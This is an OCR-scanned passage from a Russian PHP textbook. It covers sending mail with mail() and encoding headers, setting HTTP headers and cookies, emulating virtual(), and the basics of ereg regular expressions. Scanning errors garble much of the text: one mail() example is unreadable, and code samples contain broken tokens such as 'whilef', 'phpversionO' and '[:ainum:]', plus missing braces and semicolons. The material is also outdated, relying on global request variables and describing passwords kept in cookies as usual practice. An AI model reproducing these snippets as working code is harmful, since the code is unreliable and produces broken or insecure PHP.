сылки писем по электронной почте, минуя использование внешних про-
грамм и утилит. Функция отсылки встроена в РНР. С нее мы и начнем.

Функция отправки письма

bool mail(string $to, string $subject , string $msg [,string $headers])

Функция maii o посылает сообщение с телом $msg (это может быть
"многострочная строка", т. е. переменная, содержащая несколько строк, раз-
деленных символом перевода строки) по адресу $to. Можно задать сразу
нескольких получателей, разделив их адреса пробелами в параметре $to.
Пример:

mail("rasmus@lerdorf.on.ca ca.ok@oklab.ru ,

"IVh • ^- jV-- ^ .^i'--1- "
"j ^a^^tiwL , ,

"Line IXnLine 2\nLine 3"

) ;

В случае, если указан четвертый параметр, переданная в нем строка вставля-
ется между концом стандартных почтовых заголовков (таких как То,
Content-type и т. д.) и началом текста письма. Обычно этот параметр ис-
пользуется для задания дополнительных заголовков письма. Пример:

tr. -ii '" = чЬга ;з'сН -зг.. п^ d k p d i z a i n . r u " ,
a Т

"the subject" ,

"Line IXnLine 2\nLine 3",

"From: webmaster@$SERVER NAME\n" .
—
"Reply-To: webmaster@$SERVER_NAME\n" .

"X-Mailer: PHP/ " . phpversionO

);

Необходимо добавить, что этот пример довольно-таки неказист. Гораздо луч-
ше было бы включить указанные заголовки прямо в тело письма $msg (в нача-
ло тела), отделив их от самого письма пустой строкой (прямо как в стандарте

----------------------- Page 301-----------------------
286 Часть IV. Стандартные функции РНР

HTTP). To же самое применимо и к параметру $subject : лучше задавать в
нем всегда пустую строку и указывать заголовок subject в самом письме.
Всегда старайтесь поступать таким образом. Далее будет ясно, зачем.

Проблема с кодировками

Думаю , не надо напоминать , что русских кодировок существует великое
множество. Поэтому от того, насколько умело вы перекодируете письмо пе-
ред его отсылкой, зависит , прочтет ли его получатель или , махнув рукой ,
отправит в корзину, даже не попытавшись установить в своем почтовом
клиенте нужную кодировку. Эта глава как раз и призвана раз и навсегда
решить проблему кодировок. Если вы воспользуетесь советами, изложенны -
ми в ней, ваши письма всегда будут читаемыми .

Посылка в указанной кодировке

Сначала давайте договоримся об одном соглашении : функции mail о пере-
давать только адрес получателя и текст письма. Ни заголовков, ни темы — и
то и другое должно присутствовать в самом письме. Например:
$message=

"From: Лист рассылки

То : Иванов Иван Иванович

Subject: Пробная рассыпка

Content-type : text/plain ; charset=windows-1825

Уважаемый товарищ ! Это письмо послано почтовым роботом .

Всего хорошего!" ;

Mail("ivanov@ivan.ivanovich.ru","",$raessage) ;

Обратите внимание на заголовок content-type (в некоторых системах он
обязательно должен стоять последним — проверьте это экспериментально).
Он задает, что, во-первых, письмо доставляется как простой текст
(text/plain), а во-вторых, что его кодировка — Windows. Теперь письмо
всегда можно будет прочитать, даже если почтовая программа клиента по
умолчанию настроена на китайскую кодировку.

Примечание

И почему некоторые программы так не делают, а посылают письма без указа-
ния их кодировки? Неужели им жалко лишнего десятка байтов для названия
кодировки?

Обратите внимание на то, что тело письма отделяется от заголовков пустой
строкой, с тем, чтобы почтовая программа могла понять, где кончаются за-
головки и начинается тело.

----------------------- Page 302-----------------------
Глава 20. Посылка писем через РНР 287

Динамическая смена кодировки

Приведенное в предыдущем примере письмо можно будет прочитать в 90%
существующих почтовых программ . Для "удовлетворения" остальных жела-
тельно посылать письма не в Windows-кодировке, а в KOI-8R. Для переко-
дирования можно воспользоваться уже известной нам функцией
convert_cyr_string() . И , конечно , нужно в Content-type заменить
charset на koi8-r . Вот что у нас получится:

$message=

"From: Лист рассылки

То : Иванов Иван Иванович <ivanov@ivan.ivanovich.ru>

Subject: Пробная рассылка

Content-type : text/plain ; charset=koi8-r

Уважаемый товарищ ! Это письмо послано почтовым роботом .

Всего хорошего!";

$message=convert cyr string($message,"w","k");

Mail("ivanovgivan.ivanovich.ru","",$message);

Теперь вы понимаете, почему я говорил о том, чтобы все заголовки и
Subject находились внутри тела письма? Этим мы достигаем того, что од-
ной командой convert_cyr_string о перекодируется сразу все письмо,
включая поля From, TO, subject и др. Иначе пришлось бы применять эту
функцию дополнительно для перекодировки параметров $ subject и
$headers...

Проблема с заголовками

Есть одна проблема, возникающая при подобном использовании заголовка
Content-type. Дело в том, что существуют почтовые программы, которые
понимают заголовок content-type , но не понимают русский текст в поле
subject , если это поле стоит до content-type . В то же время, другие почто-
вые клиенты обязывают нас задавать content-type последним заголовком в
списке. Чтобы обойти этот заколдованный круг, проще всего разместить
поле content-type сразу в двух местах — перед первым и после последнего
заголовка:

$message=

"Content-type: text/plain ; charset=koi8-r

From : Лист рассылки

To : Иванов Иван Иванович <ivanov@ivan.ivanovich.ru>

Subject: Пробная рассылка

Content-type : text/plain ; charset=koi8-r

Уважаемый товарищ ! Это письмо послано почтовым роботом .

----------------------- Page 303-----------------------
288 Часть IV. Стандартные функции РНР

Всего хорошего!" ;
$message=convert_cyr_string($message,"w", "k");
Mail("ivanov@ivan.ivanovich.ru","",$message) ;

Да, это может показаться весьма искусственным приемом, но зато работает
"на ура". Теперь вы можете быть уверены, что ваше письмо прочитает любой
пользователь (особенно если оно послано в кодировке KOI8), даже если его
почтовая программа вообще не настроена ни на какую кодировку. Можете
похвастать этим достижением перед начальством, предложив ему поставить
у себя в Outlook Express по умолчанию японскую кодировку, а затем попро-
сив принять письмо, сгенерированное роботом по указанной схеме.

Перспективы : создание "умной"
функции для отправки писем

Возможно, вам уже пришла в голову идея сделать универсальную функцию
для рассылки писем — чтобы она сама добавляла к полю то в письме E-mail
в угловых скобках (как в примере выше), проставляла нужную кодировку у
письма (которая задается в параметрах при вызове функции), ну и т. д. Это
вполне осуществимо. Функция может выглядеть, например, так:
bool PostMail(string $ToAddress , string $Encode , string $Message )

Посылает письмо $Message по адресу $ToAddress, перекодировав его пред-
варительно в кодировку, заданную в $Encode . Параметр $Encode может при-
нимать следующие значения:
П w — Windows
O k - KOI8-R
П m — Mac
О i — Iso Latin
П t — Translit
В письме автоматически проставляется content-type. . .charset (если заго-
ловок content-type уже присутствует в письме, то он не портится, а просто
у него меняется поле charset на нужное значение). Также корректируется
поле то в письме. Одновременно правильно обрабатываются вставки РНР-
кода в тело письма (можно использовать глобальные переменные и опера-
тор echo). Для этого, как обычно, применяются "скобки" <? и ?>.
Реализацию поставленной задачи мы отложим до части У, где описаны и
другие приемы , облегчающие работу на РНР. Для этого нам понадобится
техника регулярных выражений, которыми мы вскоре займемся, а также
еще некоторые навыки. Если вы уже сейчас хотите использовать функцию
PostMail о, можете сразу открыть часть V книги и скопировать оттуда ее
исходный код на РНР.

----------------------- Page 304-----------------------
Глава 21

Работа с WWW

Мы уже рассматривали основы протокола HTTP в части I книги. Оператор
echo, предназначенный для вывода данных в браузер, нам также хорошо
знаком. Теперь осталось лишь разобрать, какие средства предусмотрены в
РНР для работы с заголовками HTTP.

Установка заголовков ответа

Первая функция , которую мы сейчас рассмотрим, — Header о — предназна-
чена для посылки заголовка браузеру (точнее, для добавления заголовка к
документу, пересылаемому браузеру). Она может быть вызвана только до
первой команды вывода сценария (конечно, если вы до этого не воспользо-
вались функцией буферизации ob_start о) .

Вывод заголовка

int Header(string Sstring )

Обычно функция Header о является одной из первых команд сценария. Она
предназначена для установки заголовков ответа, которые будут переданы
браузеру - по одному заголовку на вызов. Не забывайте, что вызов
Header о обязательно должен осуществляться до любого оператора вывода в
сценарии — в противном случае вы получите предупреждение. Заметьте, что
текст вне <? и ?> также рассматривается как оператор вывода, а потому ста-
райтесь не делать лишних пробелов до первой "скобки" <? в сценарии (и в
особенности в файле, который этим сценарием включается) и, конечно, по-
сле последнего ограничителя ?> во включаемом файле. Впрочем, вы сможе-
те легко обнаружить подобную ошибку, если выставите уровень контроля
ошибок, равный 15 (1+2+4+8) — в этом случае при недопустимом вызове
Header о вы получите предупреждение. Пример:

// перенаправляет браузер на сайт РНР

Header("Location : http://www.php.net") ;

// теперь принудительно завершаем сценарий , ввиду того , что после

// перенаправления больше делать нечего

exit;

----------------------- Page 305-----------------------
290 Часть IV. Стандартные функции РНР

Запрет кэширования

Еще одно полезное приложение функции Header о -- запрет кэширования
документа браузером и Proxy-серверами. Большинство сценариев формиру-
ют документы, которые при каждом запуске программы изменяются. Оче-
видно, если браузер пользователя начнет кэшировать такие документы , ни-
чего хорошего не получится . Выход -- использовать в начале сценария
следующие команды:

Header("Expires : Mon , 26 Jul 1997 05:00:00 GMT"); // Дата в прошлом

Header("Cache-Control : no-cache , must-revalidate") ; // HTTP/1.1

Header("Pragma : no-cache") ; // HTTP/1.0

Header("Last-Modified : ".omdate("D , d M Y H:i:s")."GMT");

Самое неприятное то, что для полного запрета кэширования приходится
всегда посылать 4 указанных заголовка, и ни один пропустить нельзя — в
противном случае не сработает либо браузер, либо Proxy-сервер. Так что ре-
комендую оформить их все в виде функции (например, с именем NoCache ( ) )
и затем вызывать эту функцию в нужный момент.

Получение заголовков запроса

Для получения всех заголовков запроса (того самого запроса, что вынудил
запуститься сценарий) следует воспользоваться функцией GetAllHeaders о :

array GetAllHeaders()

Функция GetAllHeaders о возвращает ассоциативный массив, содержащий
данные о HTTP-заголовках запроса клиента, породившего запуск сценария.
Ключи массива содержат названия заголовков, а значения — их величины.
Вот пример использования этой функции :

$headers = GetAllHeaders();

foreach($headers as $header=>$value )

echo "$header : $value<br>\n" ;

Внимание

Функция GetAllHeaders ( ) поддерживается РНР только в том случае, если он
установлен в виде модуля Apache. В противном случае этой функции просто не
будет (да и не может быть, потому что обычный CGI-сценарий не имеет досту-
па к заголовкам запроса). В частности, в РНР для Windows (который чаще всего
реализуют именно в виде сценария) функция GetAllHeaders ( ) недоступна.

Не стоит увлекаться вызовами GetAllHeaders о: часто интересующую ин-
формацию (такую, например, как название браузера) можно получить и че-

----------------------- Page 306-----------------------
Глава 21. Работа с WWW 291

рез переменные окружения . Последний способ гораздо более переносим ,
поэтому всеми силами старайтесь предпочесть его.

Работа с Cookies

Я не буду здесь особо вдаваться в подробности работы с Cookies (хотя, по-
ложа руку на сердце, вдаваться тут особо не во что), тем более, что этот
материал мы с вами уже рассматривали в части I книги . Повторю лишь
основное.

Немного теории

Итак, Cookie — это именованная порция (довольно небольшая) информа-
ции, которая может сохраняться прямо в настройках браузера пользователя
между сеансами. Причина, по которой применяются Cookies — большое ко-
личество посетителей вашего сервера, а также нежелание иметь нечто по-
добное базе данных для хранения информации о каждом посетителе. Поиск
в такой базе может очень и очень затянуться (например, при цифре милли-
он гостей в день он будет отнимать львиную долю времени) , и, в то же вре-
мя, нет никакого смысла централизованно хранить столь отрывочные сведе-
ния. Использование Cookies фактически перекладывает задачу на плечи
браузера, решая одним махом как проблему быстродействия, так и проблему
большого объема базы данных с информацией о пользователе.

Самый распространенный пример применения Cookies — логин и пароль
пользователя, использующего некоторые защищенные ресурсы вашего сай-
та. Эти данные, конечно же, между открытиями страниц хранятся в Cookies,
для того чтобы пользователю не пришлось их каждый раз набирать вручную
заново.

У каждого Cookie есть определенное время жизни , по истечение которого
он автоматически уничтожается. Существуют также Cookies, которые
"живут" только в течение текущего сеанса работы с браузером (это могут
быть, например, имя и пароль, введенные при авторизации), или же иден-
тификатор сессии (см. главу 25).

Каждый Cookie устанавливается сценарием на сервере. Для этого он дол-
жен послать браузеру специальный заголовок вида:

Set-cookie: данные

Однако в РНР этот процесс скрыт за функцией setcookie ( ) , которую мы
сейчас рассмотрим, так что нам нет смысла вдаваться в детали.

Пожалуй, из теории осталось только добавить, что сценарии с других серве-
ров, а также расположенные в другом каталоге, не будут извещены о "чу-
жих" Cookies. Для них их как словно и нет. И это правильно с точки зрения

----------------------- Page 307-----------------------
292 Часть IV. Стандартные функции РНР

безопасности — кто знает, насколько секретна может быть информация,
сохраненная в Cookies? А вдруг там хранится номер кредитной карточки или
пароль доступа к Пентагону?..

Установка Cookie

Перейдем теперь к тому, как устанавливать Cookies. Так как Cookie факти-
чески представляет собой обычный заголовок, сделать это можно только
перед первой командой вывода в сценарии.

int setcookie(string $name [,string $value] [,int $expire]

[,string $path] [,string $domain] [,book $secure])

Вызов setcookie ( ) определяет новый Cookie, который тут же посылается
браузеру вместе с остальными заголовками. Все аргументы, кроме имени,
необязательны. Если задан только параметр $name (имя Cookie), то Cookie с
указанным именем у пользователя удаляется. Вы можете пропускать аргу-
менты, которые не хотите задавать, пустыми строками "" . Аргументы
Sexpire и $secure, как мы видим, не могут быть представлены строками, а
потому вместо пустых строк здесь нужно использовать 0. Параметр $expire
задает timestamp, который, например, может быть сформирован функциями
time о или raktimef). Параметр $secure говорит о том, что величина Cookie
может передаваться только через безопасное HTTPS-соединение (мы не бу-
дем рассматривать в этой книге HTTPS, о нем можно написать целые тома,
что, вообще говоря, и делается). Вот несколько примеров использования
Setcookie():

// Cookie на одну сессию , т . е . до закрытия браузера
SetCookie("TestCookie","Test Value") ;

// Эти Cookies уничтожаются браузером через 1 час после установки
SetCookie("TestCookie",$val,time()+3600);
SetCookie("TestCookie",$val,time()+3600,"/-rasmus/", ".utoronto.ca",1);

После вызова функции setcookie о только что созданный Cookie сразу по-
является среди глобальных переменных как переменная с заданным в пара-
метре $name именем. Она появится и при следующем запуске сценария -
даже если setcookie о в нем и не будет вызвана. Параметр $value автома-
тически URL-кодируется при посылке на сервер, а при получении Cookie -
автоматически декодируется, как это происходит и с данными формы, так
что нам не нужно об этом заботиться.

И еще один пример: счетчик посещения страницы конкретным посетите-
лем. Запуская данный сценарий, пользователь будет видеть, сколько раз он
уже гостил на вашей странице.

----------------------- Page 308-----------------------
Глава 21. Работа с WWW 293

; Листинг 21.1. Индивидуальный счетчик посещений

;
• л

if(lisSet($Counter)) $Counter=0;

$Counter++;

SetCookie("Counter",$Counter,Ox7FFFFFFF);

echo "Вы запустили этот сценарий $Counter раз!";

Видите, как просто мы храним информацию о посещениях, даже если наш
сайт посещают миллионы человек в день? А теперь представьте себе, какой
код пришлось бы написать, чтобы сделать аналогичную программу, но с со-
хранением данных на сервере...

Возможно, вам понадобится сохранять в Cookies не только строки, но и
сложные объекты. Для этой цели объект нужно сначала преобразовать в
строку (например, при помощи Serialize о) и поместить ее в Cookie.
А потом, наоборот, распаковать строку, используя unseriaiize ( ) .

Однако, если сохраняемый массив имеет небольшой размер, каждый его
элемент можно разместить в отдельном Cookie:

SetCookie("Arr[0]","ааа") ;

SetCookie("Arr[1]","bbb");

SetCookie("Arr[2][0]","ccc"); // многомерный массив

По сути, Cookie с именем Arr[0 ] ничем не отличается с точки зрения брау-
зера и сервера от обычного Cookie. Зато РНР, получив Cookie с именем, со-
держащим квадратные скобки, поймет, что это на самом деле элемент мас-
сива, и создаст его (массив). Тут нет ничего удивительного — ведь РНР
поступает точно так же и с переменными, поступившими из формы пользо-
вателя... Правда, в отличие от форм, не советую вам особо увлекаться по-
добными Cookies: дело в том, что в большинстве браузеров число Cookies,
которые могут быть установлены одним сервером, ограничено, причем ог-
раничено именно их количество, а не суммарный объем. Поэтому, навер-
ное, лучше будет все-таки воспользоваться функцией serialize о и устано-
вить один Cookie, а еще лучше — написать собственную функцию сериа-
лизации , которая упаковывает данные чуть эффективнее.

Получение Cookie

Еще кое-что о Cookies. Предположим, сценарий отработал и установил ка-
кой-то Cookie, например, с именем cook и значением val. В следующий раз
при запуске этого сценария (на самом деле, и всех других сценариев, распо-
ложенных на том же сервере в том же каталоге или ниже по дереву) ему пе-
редастся пара типа Cook=val (через специальную переменную окружения).
РНР это событие перехватит и автоматически создаст переменную $cook со

----------------------- Page 309-----------------------
294 Часть IV. Стандартные функции РНР

значением val. To есть интерпретатор действует точно так же, как если бы
значение нашего Cookie пришло откуда-то из формы. Та переменная , кото-
рую мы установили в прошлый раз, будет доступна и сейчас!

SSI и функция virtualf)

Как известно, для одного и того же документа в Apache нельзя применять
два "обработчика". Иными словами, действует принцип (по крайней мере, в
Apache первого поколения): либо РНР, либо SSI (Server-Side Includes -
Включения на стороне сервера). Однако в РНР имеются определенные
средства для "эмуляции" SSI-конструкции include virtual .

^ Примечание

Конструкция include virtual загружает файл, URL которого указан у нее в
параметрах, обрабатывает его нужным обработчиком и выводит в браузер.
То есть все происходит так, будто указанный URL был затребован виртуальным
браузером. Большинство SSI-файлов ограничиваются использованием этой
возможности.

int virtual (string $url )

Функция virtual о представляет собой процедуру, которая может поддер-
живаться только в случае, если РНР установлен как модуль Apache. Она де-
лает то же самое, что и SSI-инструкция < ! — tinciud e virtual» . ..--> .
Иными словами, она генерирует новый запрос серверу, обрабатываемый им
обычным образом, а затем выводит данные в стандартный поток вывода.
Чаще всего функция virtual о используется для запуска внешних CGI-
сценариев, написанных на другом языке программирования, или же для об-
работки SSI-файлов более сложной структуры. В случае, если запускается
сценарий, он должен генерировать правильные HTTP-заголовки, иначе бу-
дет выведено сообщение об ошибке . Заметьте, что для включения обычных
PHP-файлов с участками кода функция virtual о неприменима — это вы-
полняет оператор include .

Эмуляция функции virtualf)

Функция virtual о работает только в том случае, если РНР установлен как
модуль Apache. Проблемы начинаются , если это не так, и какой-то уже го-
товый сценарий интенсивно использует вызовы virtual о. Тогда мы долж-
ны будем либо переделать сценарий, либо написать эмуляцию для функции
virtual о (благо в "сценарном" варианте РНР эта функция отсутствует, так
что можно без оглядки на ключевые слова создать процедуру с именем
virtual ( ) ). Вот как мы здесь поступим:

----------------------- Page 310-----------------------
Глава 21. Работа с WWW _ 295

if ( ! function_exists ( "virtual" ) ) {

// Условно определяемая функция

function Virtual ( $url )

{ //* здесь должен идти код для преобразования относительного

//* URL (заданного относительно текущего каталога ) в абсолютный .

//* Мы не будем сейчас останавливаться на этом вопросе — оставим

//* его для 5-й части книги .

global $HTTP_HOST,$SERVER_PORT ;

$f=@fopen("http://$HTTP_HOST:$SERVER_PORT$url" , "г") ;

if(!$f) {
echo "[an error ocurred while processing this directive : $url]" ;

return false ;

}
// Теперь просто читаем все и выводим с помощью echo

whilef ($s=fread($f , 10.000) )!="") echo $s;

fclose($f) return true ;

Обращаю ваше внимание на то, что используется не обычный f open ( ) , а
сетевая его разновидность, на что указывает префикс http : / / в имени фай-
ла . Единственное здесь сложное место — преобразование относительного
URL в абсолютный. Но эта задача, конечно, вполне разрешима, и мы зай-
мемся ей уже скоро — в пятой части книги — наряду с остальными пробле-
мами прикладного характера.

----------------------- Page 311-----------------------
Глава 22

Основы регулярных
выражений в формате
RegEx

Часто регулярные выражения оказываются настоящим камнем преткнове-
ния для программистов, сталкивающихся с ними впервые. Это происходит
потому, что такие выражения немного сложны для запоминания и изобилу-
ют всяческого рода специальными метасимволами. Целью настоящей главы
является доказательство того, что не так все сложно, как может показаться с
первого взгляда.

Начнем с примеров

На мой взгляд, проще всего разбираться с регулярными выражениями на
примерах. Так мы и поступим, если вы не против. Ведь вы не против?..

Пример первый

Наверняка вам приходилось когда-нибудь сталкиваться с такой ситуацией
(а если не приходилось, то просто представьте ее себе): профамма обраба-
тывает какой-то входной файл с именем и расширением, и необходимо сге-
нерировать выходной файл, имеющий то же имя , но другое расширение .
Например, файл file.i n ваша профамма должна обработать и записать ре-
зультат в file.out . Проблема заключается в том, чтобы отрезать у имени
входного файла все после точки и "приклеить" на это место out.
Проблема довольно тривиальна, и даже на РНР ее можно решить всего не-
сколькими командами. Например, так:

$p=strrpos($inFile, ' . ') ;

if($p) $outFile=substr($inFile , 0,$p) ; else $outFile=$inFile;

$outFile.=".out";

На самом деле, выглядит довольно неуклюже (особенно из-за того, что при-
ходится обрабатывать случаи, когда входной файл не имеет расширения , а
значит, в нем нет точки). И эта "навороченность" имеет место, несмотря на

----------------------- Page 312-----------------------
Глава 22. Основы регулярных выражений в формате RegEx 297

то, что само действие приведенных строк можно описать всего несколькими
словами. А именно: "Замени в строке $inFiie все, что после последней точ-
ки (и ее саму), или, в крайнем случае, "конец строки" на строку .out , и
присвой это переменной $outFiie" .

Пример второй

Давайте теперь рассмотрим другой пример . Нам нужно разбить полное имя
файла на две составляющие: каталог, в котором расположен файл, и само
имя файла . Как мы знаем , для этого в РНР встроены функции basename o и
d i m a m e o , рассмотренные выше. Но предположим для тренировки, что их
нет. Вот как мы реализуем требуемые действия:
$slashl=strrpos($fullPath, ' / ' ) ;
$slash2=strrpos($fullPath, ' \ \ ' ) ;
$slash=max($slashl,$slash2);
$dirName=substr($fullPath,0, $slash) ;
$fileName=substr($fullPath,$slash+l, 10000) ;

Здесь мы воспользовались тем фактом, что strrposo возвращает false ,
которое интерпретируется как 0, если искомый символ не найден. Обратите
внимание на то, что пришлось два раза вызывать strrpos о , потому что мы
не знаем, какой слэш будет получен от пользователя — прямой или обрат-
ный. Видите — код все увеличивается . И уменьшить его почти невозможно.

^ Замечание J

На самом деле, эта проблема выглядит немного надуманной. Куда как проще и,
главное, надежнее было бы сначала заменить в строке все обратные слэши на
прямые, а потом и искать только прямые. Но в данном случае такой прием не-
сколько отдалил бы нас от техники регулярных выражений, которой и посвяще-
на глава.

Опять же, сформулируем словами то, что нам нужно: "Часть слова после
последнего прямого или обратного слэша или , в крайнем случае, после на-
чала строки, присвой переменной SfileName , а "начало строки" •- перемен-
ной $dirName" . Формулировку "часть слова после последнего слэша" можно
заменить на несколько другую: "Часть слова, перед которой стоит слэш, но
в нем самом слэша нет".

Выводы

Скорее всего, вы уже поняли, что основной акцент в этих примерах я ста-
рался делать не на алгоритмах, а на "словесных утверждениях". Они состоя-
ли из довольно несложных, но комплексных частей, относящихся не к од-

----------------------- Page 313-----------------------
298 Часть IV. Стандартные функции РНР

ному символу (как это произошло бы, организуй мы цикл по строке), а сра-
зу к нескольким "похожим"...

Но вернемся к названию этой главы . Так что же такое регулярные выраже-
ния! Оказывается, наши словесные утверждения (но не инструкции замены ,
а только правила поиска) , записанные на особом языке , — это и есть регу-
лярные выражения .

Терминология

Ну вот, к этому моменту должно быть уже интуитивно понятно, для чего же
нужны регулярные выражения. Настало время посмотреть, как же их пере-
вести на язык, понятный РНР.

Давайте немного поговорим о терминологии . Вернемся к нашим двум при -
мерам, только назовем теперь то, что мы раньше называли "словесным ут-
верждением", регулярным выражением , или просто выражением. В литерату-
ре иногда для этого же употребляется термин "шаблон", но мне он не
особенно нравится, поэтому все-таки остановимся на слове "выражение".

Итак, мы имеем выражение и мы имеем строку. Операцию проверки, удов-
летворяет ли строка этому выражению (или выражение — строке, как хоти-
те) условимся называть сопоставлением строки и выражения. Если какая-то
часть строки успешно сопоставилась с выражением, мы назовем это совпа-
дением. Например, совпадением от сопоставления выражения "группа букв,
окруженная пробелами" к строке "ab cde fgh" будет строка "cde" (ведь только
она удовлетворяет нашему выражению). Возможно, дальше мы с этим сов-
падением захотим что-то проделать — например, заменить его на какую-то
строку или , скажем, заключить в кавычки . Это — типичный пример сопос-
тавления с заменой. Все эти возможности реализуются в РНР в виде функ-
ций, которые мы сейчас и рассмотрим.

Использование регулярных
выражений в РНР

Вернемся на минуту опять к практике. Любое регулярное выражение в РНР -
это просто строка, его содержащая, поэтому функции, работающие с регуляр-
ными выражениями , принимают их в параметрах в виде обычных строк.

Сопоставление

bool ereg(string $expr , string $str [,list &$Matches])

Функция пытается сопоставить выражение $ехрг строке $str и в случае
удачи возвращает true , иначе — false . Если совпадение было найдено, то в

----------------------- Page 314-----------------------
Глава 22. Основы регулярных выражений в формате RegEx 299

список $Matches (конечно, если он задан) записываются отдельные участки
совпадения (как выделять эти участки на языке RegEx, мы рассмотрим не-
много позже). Пока скажу только, что в $Matches[0] всегда будет возвра-
щаться подстрока совпадения целиком.

Сопоставление с заменой

Если нам нужно не определить, удовлетворяет ли строка выражению, а за-
менить в ней все подстроки, ему удовлетворяющие, на что-то еще, следует
воспользоваться следующей функцией :

string ereg_replace(string $expr , strint $str , string $strToChange)

Эта функция занимается тем, что ищет в строке $str все подстроки, соот-
ветствующие выражению $ехрг, и заменяет их на $strToChange . В строке
$strToChange могут содержаться некоторые управляющие символы, позво-
ляющие обеспечить дополнительные возможности при замене. Их мы рас-
смотрим позже, а сейчас скажу только, что сочетание \о (в РНР эта строка
будет записываться как "\\0" ) будет заменено на найденное совпадение це-
ликом .

Язык RegEx

Существует несколько разновидностей языков, используемых для записи
регулярных выражений и работы с ними . У всех них есть много общего, но
отдельные части все же отличаются. В РНР версии 3 стандартно реализован
только один из языков — он называется RegEx.

^ ПрИмечтше

В четвертой версии интерпретатора поддерживается также и стандарт PCRE
(Perl-Compatible Regular Expression — Регулярные выражения языка Perl). Его
выражения несколько более универсальны. Прочитать о формате PCRE можно
в любой книге по Perl.

Нужно заметить, что стандарт RegEx — один из самых первых и простых,
поэтому он не включает некоторые возможности, которые могут иногда по-
требоваться.
Перейдем теперь непосредственно к языку RegEx. Вот что он нам предлага-
ет. Каждое выражение состоит из одной или нескольких управляющих ко-
манд. Некоторые из них можно группировать (как мы группируем инструк-
ции в программе при помощи фигурных скобок), и тогда они считаются за
одну команду. Все управляющие команды разбиваются на три класса:
П простые символы, а также управляющие символы , играющие роль их
"заменителей";

----------------------- Page 315-----------------------
300 Часть IV. Стандартные функции РНР

П управляющие конструкции (квантификаторы повторений, оператор аль-
тернативы, группирующие скобки и т. д.);
П так называемые мнимые символы (в строке их нет, но, тем не менее, они
как бы помечают какую-то часть строки — например, ее конец).

Простые символы

Класс простых символов, действительно, самый простой. А именно, любой
символ в строке на RegEx обозначает сам себя, если он не является управляю-
щим (к управляющим символам причисляются следующие: " . * ? + [ ] { } |$Л ")-

Например, регулярное выражение abed будет "реагировать" на строки, в ко-
торых встречается последовательность abed.

Отмена действия спецсимволов

Если же нужно вставить в выражение один из управляющих символов, но
только так, чтобы он "не действовал", достаточно предварить его обратным
слэшем. К примеру, если мы ищем строку, содержащую подстроку а*ь , то
мы должны использовать для этого выражение а\*ь (опять же, в РНР эта
строка будет записываться как "а\\*ь") , поскольку символ * является уп-
равляющим (вскоре мы рассмотрим, как он работает).

Здесь я хотел бы еще (на этот раз в последний) раз заострить внимание на
одной детали. Как вы знаете, для того, чтобы в какую-то строку вставить
слэш, необходимо его удвоить. То есть мы не можем написать

$а="а\*Ь"

но можем

$а="а\\*Ь"

В последнем случае в строке $а оказывается а\*ь . Так как регулярные вы-
ражения в РНР представляются именно в виде строк, то необходимо посто-
янно помнить это правило.

^~ Примечание

Ошибки такого рода чрезвычайно распространены, и можно не один час ломать
голову, почему же все работает не так, как должно.

Группы символов

Было бы глупо, если бы RegEx позволял нам задавать части искомых строк
только непосредственно, как это было рассмотрено выше. Поэтому сущест-
вуют несколько спецсимволов, обозначающих сразу группу букв. Эта воз-
можность — один из краеугольных камней, основ регулярных выражений.
Самый важный из таких знаков — точка "." — обозначает один любой символ.

----------------------- Page 316-----------------------
Глава 22. Основы регулярных выражений в формате RegEx 301

Например, выражение а.ь имеет совпадение для строк azb или aqb, но не
"срабатывает" для, скажем, aqwb или аь. Позже мы рассмотрим, как можно
заставить точку обозначать ровно один (или, к примеру, ровно пять) любых
символов.

Но это далеко не все. Возможно, вы захотите искать не любой символ, а
один из нескольких указанных. Для этого наши символы нужно заключить в
квадратные скобки. К примеру, выражение a [ x X y Y ] c соответствует строкам,
в которых есть подстроки из трех символов, начинающиеся с а, затем одна
из букв х, х, у, Y и, наконец, буква с. Если нужно вставить внутрь квадрат-
ных скобок символ [ или ] , то следует просто поставить перед ним обрат-
ный слэш (напоминаю, в строках РНР — два слэша), чтобы отменить его
специальное действие.
Если букв-альтернатив много, и они идут подряд, то не обязательно пере-
числять их все внутри квадратных скобок — достаточно указать первую из
них, потом поставить дефис и затем — последнюю. Такие группы могут по-
вторяться. Например, выражение [a-z ] обозначает любую букву от а до z
включительно, а выражение [a-zA-zo-9_j задает любой алфавитно-
цифровой символ.
Существует и другой, иногда более удобный способ задания больших групп
символов. В языке RegEx в скобках [ и ] могут встречаться не только оди-
ночные символы, но и специальные выражения. Эти выражения определяют
сразу группу символов. Например, [:ainum : ] задает любую букву или циф-
ру, а [:digit : ] — цифру. Вот полный список таких выражений:

О [ : a l p h a : ] — буква;

П [ : digit: ] -- ЦИфра;

П [ -. ainum : ] — буква или цифра;

П [ : space : ] — пробельный символ;
П [:blank : ] — пробельный символ или символы с кодом 0 и 255;

П [ : cnrti : ] — управляющий символ;

П [:graph : ] — символ псевдографики;
П [ : lower : ] — символ нижнего регистра;

П [:upper : ] — символ верхнего регистра;
П [:print : ] -- печатаемый символ;

П [ :punct : ] — знак пунктуации;

П [ : xdigit : ] — ЦИфра ИЛИ буКВЗ ОТ А ДО F.

Как видим, все эти выражения задаются в одном и том же виде -
[:что_то:]. Хочу еще раз обратить ваше внимание на то, что они могут

----------------------- Page 317-----------------------
302 Часть IV. Стандартные функции РНР

встречаться только внутри квадратных скобок. Например , допустимы такие
регулярные выражения :

abc[[:alnum:]]+ // abc , затем одна или более буква или цифра

abc[[:alpha:I[:punct]0] // abc , далее буква , знак пунктуации или О

но совершенно недопустимы следующее:

abc[:alnum:] + // не работает!

Еще одно привлекательное свойство выражений [:что_то: ] заключается в
том, что они автоматически учитывают настройки локали, а значит , пра-
вильно работают с "русскими" буквами (конечно, если перед этим была вы-
звана функция setiocaie O с верными параметрами). Таким образом, вы-
ражение [ [:alpha : ] ] + удовлетворяет любому слову как на английском , так
и на русском языке. Добиться этого при помощи "обычного" использования
[ .. . ] было бы очень тяжело.

Отрицательные группы

Иногда (когда альтернативных символов много) бывает довольно утоми-
тельно перечислять их всех в квадратных скобках. Особенно обидно выхо-
дит, если нас устраивает любой символ, кроме нескольких (например, кроме
> и <). В этом случае, конечно, не стоит указывать 254 символа , вместо
этого лучше воспользоваться конструкцией [А <>], которая обозначает лю-
бой символ , кроме тех, которые перечислены после [л и до ] . Например ,
выражение а[л \ t \ n \ r ] b "срабатывает" на все строки, содержащие буквы а

и ь, разделенные любым не пробельным символом .

В отрицательной группе могут быть задействованы любые символы и выра-
жения , которые допустимы в конструкции [ . . . ] . Таким образом, мы можем
положиться на настройки локали и в этом случае.

Квантификаторы повторений

